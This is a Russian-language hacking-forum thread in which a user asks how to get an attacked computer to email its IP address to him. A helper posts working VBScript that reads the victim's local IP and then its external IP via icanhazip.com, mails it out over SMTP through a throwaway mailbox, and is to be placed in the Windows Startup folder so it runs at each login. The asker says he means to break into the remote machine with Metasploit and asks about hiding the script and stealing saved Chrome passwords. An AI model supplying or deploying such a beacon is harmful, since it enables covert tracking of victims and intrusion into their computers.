Просмотр полной версии : Подскажите как написать батник для отправки ip на электронную почту
Подскажите , код батника .который позволял бы отправлять айпишник атакованного компьютера на почту.
kacergei
21.12.2016, 09:38
↑ (https://antichat.live/posts/4026898/)
Подскажите , код батника .который позволял бы отправлять айпишник атакованного компьютера на почту.
Тут вопрос через чего твой батник будет отправлять на почту?) Например у "жертвы" не настроен OutLook
ComradKraken
21.12.2016, 09:59
лучше на VBS запилить MAPI скриптег отправки
ComradKraken (https://antichat.live/members/295091/): Можно подробнее о сием действии .
ComradKraken
22.12.2016, 05:29
как бы так:
Set emailObj = CreateObject("CDO.Message")
Set emailConfig = emailObj.Configuration
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")= 2
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 60
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "tut_pochta_otkuda_send@mail.ru"
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "tut_tvoy_parol"
emailObj.From = "tut_pochta_otkuda_send@mail.ru"
emailObj.To = "tut_pochta_kuda_send@mail.ru"
emailObj.Subject = "Tsdfsfsf"
emailObj.TextBody = "fffasdasdasd"
emailConfig.Fields.Update
emailObj.Send
ComradKraken (https://antichat.live/members/295091/): Спасибо за текст батника . Можно только уточнить Что вообще написано в этом тексте (коде ) ? В смыслы ip жерты будет отправляться при каждым включении компьютера ? Какая почта лучше работает с данным кодом (yandex.ru,google) ? Дополнительного по не нужно к данному коду ?
Вы уж прости новичка Я не совсем в теме А что это ? Это разве код не для батника ?? Код для VBS ?
ComradKraken
22.12.2016, 15:23
нет, эт был пример для отправки мыла без всяких outlookов с левого ящика,
ладно
сначала заведи почту с которой отправка будет идти( в этом примере скрипт настроен на отправку из "@mail.ru)
вот это сохранять в *.vbs :
Dim myIPAddress : myIPAddress = ""
Dim objWMIService : Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root \cimv2")
Dim colAdapters : Set colAdapters = objWMIService.ExecQuery("Select IPAddress from Win32_NetworkAdapterConfiguration Where IPEnabled = True")
Dim objAdapter
For Each objAdapter in colAdapters
If Not IsNull(objAdapter.IPAddress) Then myIPAddress = trim(objAdapter.IPAddress(0))
exit for
Next
Dim RemoteSenderBoxName : RemoteSenderBoxName = "fuckUSA@mail.ru" ' сюда адрес ящика который ты завёл для отправки
Dim RemoteSenderBoxPasswd : RemoteSenderBoxPasswd = "obamka-pidorg" ' сюда пароль ящика который ты завёл для отправки
Dim MailReceiver : MailReceiver = "russianhackersdidit@mail.ru" ' сюда адрес почты куда получать ип собрался
Set emailObj = CreateObject("CDO.Message")
Set emailConfig = emailObj.Configuration
'Set emailConfig = CreateObject("CDO.Configuration")
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")= 2
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 120
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = RemoteSenderBoxName
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = RemoteSenderBoxPasswd
emailObj.From = RemoteSenderBoxName
emailObj.To = MailReceiver
emailObj.Subject = "ip addr"
emailObj.TextBody = myIPAddress
emailConfig.Fields.Update
emailObj.Send
этот файлик можно запускать из виндовой консольки через wscript [имяфайла.vbs]
Если нужно чтобы отправка была при запуске машины, закинь этот *.vbs в папку
c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
ComradKraken (https://antichat.live/members/295091/): Огромейшое спасибо !!! Не хочу показаться наглым возможно ли данный файл (vbs, с кодом) , с лепить с батником (в батнике прописать чтобы код vbs срабатывал при каждом включение компьютера, и также выключался ,чтобы не политься в диспетчере задач) и кинуть это добро куда нибудь в папку system32 ?
ComradKraken
22.12.2016, 17:25
не за что
дочитай прошлое сообщение до конца, там указано что сделать чтобы
↑ (https://antichat.live/posts/4027444/)
ComradKraken (https://antichat.live/members/295091/)
: Огромейшое спасибо !!! Не хочу показаться наглым
возможно ли данный файл (vbs, с кодом) , с лепить с батником (в батнике прописать чтобы код vbs срабатывал при каждом включение компьютера, и также выключался ,чтобы не политься в диспетчере задач) и кинуть это добро куда нибудь в папку system32 ?
ComradKraken (https://antichat.live/members/295091/): этот файлик можно запускать из виндовой консольки через wscript [имяфайла.vbs]
Если нужно чтобы отправка была при запуске машины, закинь этот *.vbs в папку
c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\. ?? Ну , ложить данный файл в Startup мне кажется не очень хорошей идеей ,так как он будет висеть в диспетчере задач . Запустить из виндовой консоли через wscript ..прости, ЭТО КАК ? Как вообще можно добиться того чтобы ,и файл лежал в скрытом месте . и при этом выполнял те функции которые я описывал ранее (при каждом включение удаленного компьютера отправлял свое ip мне на почту)?
ComradKraken
22.12.2016, 18:22
↑ (https://antichat.live/posts/4027456/)
ложить данный файл в Startup мне кажется не очень хорошей идеей ,так как он будет висеть в диспетчере задач
будет, пару секунд всего, отработает при логине и пропадётиз диспетчера, скорее всего еще до того как юзер сможет его увидеть
↑ (https://antichat.live/posts/4027456/)
Запустить из виндовой консоли через wscript ..прости, ЭТО КАК
в CMD или батнике пишешь "wscript %сюда путь к файлу vbs%"
как спрятать уж сам придумай
ComradKraken (https://antichat.live/members/295091/) : Спасибо еще раз ,добрый человек. Буду пробовать.
И еще вопрос не совсем по теме . Это можно так и пароли спи...и пиз....(которые сохроняются в google браузер и отпровлять и на мыло) с помощью таких вот скриптов,батников ?
ComradKraken
22.12.2016, 20:29
можно
но в браузере они хранятся зашифрованные
ComradKraken (https://antichat.live/members/295091/): А расшифровывать их можно ? Или это нереально ?
ComradKraken
22.12.2016, 21:03
даже не знаю, я как порядочный гражданин, не занимаюсь подобного рода действиями,
а вот гугл он тот еще мошенник https://www.google.ru/search?q=crack+chrome+password+file&oq=crack+chrome+password+file
ComradKraken (https://antichat.live/members/295091/): По поводу скрипта он не тот ip снимает ( они как то делятся на внутренний и внешний ) ,нужен.. я так понимаю внешний ,который определяется в сети (на http://speed-tester.info/). Возможно отправлять сразу два ip , или лист с ipconfig ?
ComradKraken
22.12.2016, 21:20
конечно, внешний адрес машина не видит, сеть провайдера назначает
случай банальный, примеров хватает https://www.google.ru/search?q=script+to+get+external+ip+address
ComradKraken (https://antichat.live/members/295091/): Прости за наглость Я так и не понял , с этим можно что то сделать (чтобы от провлялся ip которому я могу подключится с любой точки)?
ComradKraken
22.12.2016, 21:43
Можно, вот подсказка
Dim o
Dim res
Set o = CreateObject("Microsoft.XMLHTTP")
o.open "GET", "http://icanhazip.com", False
o.send
res = o.responseText
Msgbox res
ComradKraken (https://antichat.live/members/295091/): Подожди ну при вводе команды ipconfig я вижу ip адрес который определяется в http://speed-tester.info/.. Или к нему все равно нереально подключится из глобальной сети ?
ComradKraken
22.12.2016, 21:47
смотря как у тебя инет подключен, я так понял без роутера
ComradKraken (https://antichat.live/members/295091/): Спасибо за подсказку Я ценю Ваш юмор (опытного пользователя ,программиста ),только для меня это набор символов и цифр. Я буду с месяц разбираться куда что вставлятьи писать .
ComradKraken
22.12.2016, 21:49
чем подключаться собрался? сначала проверь открыт ли нужный порт извне, например через 2ip.ru
ComradKraken (https://antichat.live/members/295091/):Подключатся я буду к удаленному компьютеру с установленной windows xp с открытыми портами 135,443 (что обычно открыто) с помощь metalsploit .
ComradKraken
22.12.2016, 22:11
Dim o
Dim res
Set o = CreateObject("Microsoft.XMLHTTP")
o.open "GET", "http://icanhazip.com", False
o.send
res = o.responseText
Dim RemoteSenderBoxName : RemoteSenderBoxName = "fuckUSA@mail.ru" ' сюда адрес ящика который ты завёл для отправки
Dim RemoteSenderBoxPasswd : RemoteSenderBoxPasswd = "obamka-pidorg" ' сюда пароль ящика который ты завёл для отправки
Dim MailReceiver : MailReceiver = "russianhackersdidit@mail.ru" ' сюда адрес почты куда получать ип собрался
Set emailObj = CreateObject("CDO.Message")
Set emailConfig = emailObj.Configuration
'Set emailConfig = CreateObject("CDO.Configuration")
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")= 2
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 120
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = RemoteSenderBoxName
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = RemoteSenderBoxPasswd
emailObj.From = RemoteSenderBoxName
emailObj.To = MailReceiver
emailObj.Subject = "ip addr"
emailObj.TextBody = res
emailConfig.Fields.Update
emailObj.Send
этот vbs вернет внешний IP
ComradKraken (https://antichat.live/members/295091/): Меня тут бл... обрадовали , у меня оказывается серый ip адрес ,как мне сказали ...к удаленной машине по данному айпи адресу не подключишься ... Это реально так ???? Или мой юный и доверчивый мозг на еб....
ComradKraken
22.12.2016, 22:43
↑ (https://antichat.live/posts/4027544/)
ComradKraken (https://antichat.live/members/295091/)
: Подожди
ну при вводе команды ipconfig я вижу ip адрес который определяется в
http://speed-tester.info/
..
Или к нему все равно нереально подключится из глобальной сети ?
"серый" ты бы не увидел на этом ресурсе speed-tester,
а что насчет той удаленной машины, проверь второй скрипт что я скинул , он вернет "белый" IP
ЗЫ: я так понял ты через мобильный инет сидишь?
↑ (https://antichat.live/posts/4027586/)
проверь второй скрипт что я скинул
Вот у вас терпение!
Осталось только выехать на место и настроить скрипт на месте у потерпевшего.
ComradKraken
22.12.2016, 22:47
↑ (https://antichat.live/posts/4027588/)
Вот у вас терпение!
Осталось только выехать на место и настроить скрипт на месте у потерпевшего.
ну что вы, я уже дал приказ мой вёртолёт прогревать
ComradKraken (https://antichat.live/members/295091/): спасибо за код внешний айпи отправляется .
ComradKraken (https://antichat.live/members/295091/): Спасибо еще раз за терпение ,и разжевывание У меня бы нервов не хватило бы
ComradKraken
22.12.2016, 23:02
↑ (https://antichat.live/posts/4027596/)
ComradKraken (https://antichat.live/members/295091/)
: Спасибо еще раз
за терпение ,и разжевывание
У меня бы нервов не хватило бы
ибо сказано было "
ОТДАВАЙ, И К ТЕБЕ ВЕРНЁТСЯ
"
ComradKraken (https://antichat.live/members/295091/): нетне через мобильный
ComradKraken (https://antichat.live/members/295091/): Вот объясните мене юному и доверчивому как та девствиница человеку Разве ip адрес который постоянно меняется при каждом новом включении компьютера не является серым ?? Одни говорят он серый(и к нему не подключишься через глобальную сеть) Вы говорите не серый Так какой он ?
ComradKraken
23.12.2016, 00:11
весь инет как бы состоит из подсетей соединённых друг с другом, твоя машина выходит в инет проходя через несколько подсетей провайдера, и в каждой этой подсети есть свои адреса и своя область видимости. Погугли про маршрутизацию в сетях, я сейчас ненмого занят
Octavian
23.12.2016, 00:20
Чтоб узнать IP помогает http://iplogger.ru/
простите если не в тему
Octavian (https://antichat.live/members/267561/): что за разводящие ссылки и что тебе дал мой ip адрес
Octavian
23.12.2016, 00:36
↑ (https://antichat.live/posts/4027623/)
Octavian (https://antichat.live/members/267561/): что за разводящие ссылки и что тебе дал мой ip адрес
Чтоб узнать IP помогаетhttp://iplogger.ru/
простите если не в тему
Прошу прочитать все
ComradKraken
23.12.2016, 01:29
Бери пример с Бабадука, тот не верит никому
BabaDook
23.12.2016, 01:57
↑ (https://antichat.live/posts/4027588/)
Вот у вас терпение!
Осталось только выехать на место и настроить скрипт на месте у потерпевшего.
Молодой ещё. Отсидит с наше поймёт что к чему.
ComradKraken
23.12.2016, 02:11
↑ (https://antichat.live/posts/4027647/)
Молодой ещё. Отсидит с наше поймёт что к чему.
а может я уже заранее команду набираю, а ?
BabaDook
23.12.2016, 02:14
↑ (https://antichat.live/posts/4027656/)
а может я уже заранее команду набираю, а ?
Да не, причём тут команда, просто. Ну если я даже объясню вы не поймёте, должно пройти время. предлагаю через год вернутся к этой теме
ComradKraken (https://antichat.live/members/295091/): Сразу извиняюсь за надоевшую тему.. Продолжение к теме..как я и спрашивал ранее как (где,в какой папке...может system 32) можно спрятать данный скрипт чтобы он не палился в диспетчере задач (в частности в разделе автозагрузка). Может батник написать который будет цеплять данный скрипт при каждом включении компьютера ..https://drive.google.com/file/d/0BybiZi4B3nBCd0FwaHF4eXF3Wk0/view?usp=sharing Или же на крайний случай (если не реально с прятать в другую папку ..) сделать не убиваемым (без возможности выключение данного скрипта в диспетчере задач/автозагрузка).
ComradKraken
24.12.2016, 12:14
1)Эти твои вопросы уже немного не по теме, сам понимаешь скрипт для отправки тебе опубликовали
↑ (https://antichat.live/posts/4027780/)
ак (где,в какой папке...может system 32) можно спрятать данный скрипт чтобы он не палился в диспетчере задач (в частности в разделе автозагрузка).
↑ (https://antichat.live/posts/4027780/)
Или же на крайний случай (если не реально с прятать в другую папку ..) сделать не убиваемым (без возможности выключение данного скрипта в диспетчере задач/автозагрузка)
2)ты сам пойми, что эти темы тебе пока недоступны, до тех пор пока ты не начнёшь последовательно и методично заниматься самообучением по тематике,
сейчас много инфы в книгах, статьях, даже видео.
Задавай лучше вопросы по типу "что прочесть", "где описано", "с чего начать"
ЗЫ:
ибо "Многие вещи нам непонятны не потому, что наши понятия слабы; но потому, что сии вещи не входят в круг наших понятий" (с) Козьма Прутков (https://ru.wikiquote.org/wiki/%D0%9A%D0%BE%D0%B7%D1%8C%D0%BC%D0%B0_%D0%9F%D1%80% D1%83%D1%82%D0%BA%D0%BE%D0%B2)
Kevin Shindel
24.12.2016, 13:28
Скажите какой рукой подтиратся? Левой или правой? Извиняюсь за надоедание... )))
Kevin Shindel (https://antichat.live/members/264612/):Ты это кому ? Дурик
BabaDook
24.12.2016, 13:50
Kevin Shindel said:
↑ (https://antichat.live/posts/4028136/)
Скажите какой рукой подтиратся? Левой или правой? Извиняюсь за надоедание... )))
первой рукой , я так всегда делаю
Kevin Shindel
24.12.2016, 14:05
↑ (https://antichat.live/posts/4028139/)
Kevin Shindel (https://antichat.live/members/264612/)
:Ты это кому ? Дурик
Я сообществу Античата, а почему мы перешли на личности? Я вас не обзывал...
Kevin Shindel (https://antichat.live/members/264612/): Да ладно я думал мне..
altblitz
24.12.2016, 15:33
↑ (https://antichat.live/posts/4028148/)
первой рукой , я так всегда делаю
http://i.imgur.com/QIgEYaS.jpg
ComradKraken (https://antichat.live/members/295091/):Добрый вечер(С наступишим новым годом). Подскажите,что случилось с вашим скриптом (улыбнуло) ОН ПЕРЕСТАЛ РАБОТАТЬ (ВЫДАЕТ ОШИБКУ) В чем может быть проблема ?https://drive.google.com/file/d/0BybiZi4B3nBCMGpNZjJfQXdULW8/view?usp=sharing
Pirnazar
19.05.2018, 18:27
↑ (https://antichat.live/posts/4027561/)
Dim o
Dim res
Set o = CreateObject("Microsoft.XMLHTTP")
o.open "GET", "http://icanhazip.com", False
o.send
res = o.responseText
Dim RemoteSenderBoxName : RemoteSenderBoxName = "fuckUSA@mail.ru" ' сюда адрес ящика который ты завёл для отправки
Dim RemoteSenderBoxPasswd : RemoteSenderBoxPasswd = "obamka-pidorg" ' сюда пароль ящика который ты завёл для отправки
Dim MailReceiver : MailReceiver = "russianhackersdidit@mail.ru" ' сюда адрес почты куда получать ип собрался
Set emailObj = CreateObject("CDO.Message")
Set emailConfig = emailObj.Configuration
'Set emailConfig = CreateObject("CDO.Configuration")
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")= 2
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 120
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = RemoteSenderBoxName
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = RemoteSenderBoxPasswd
emailObj.From = RemoteSenderBoxName
emailObj.To = MailReceiver
emailObj.Subject = "ip addr"
emailObj.TextBody = res
emailConfig.Fields.Update
emailObj.Send
этот vbs вернет внешний IP
Этот код выдаёть ошибку
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot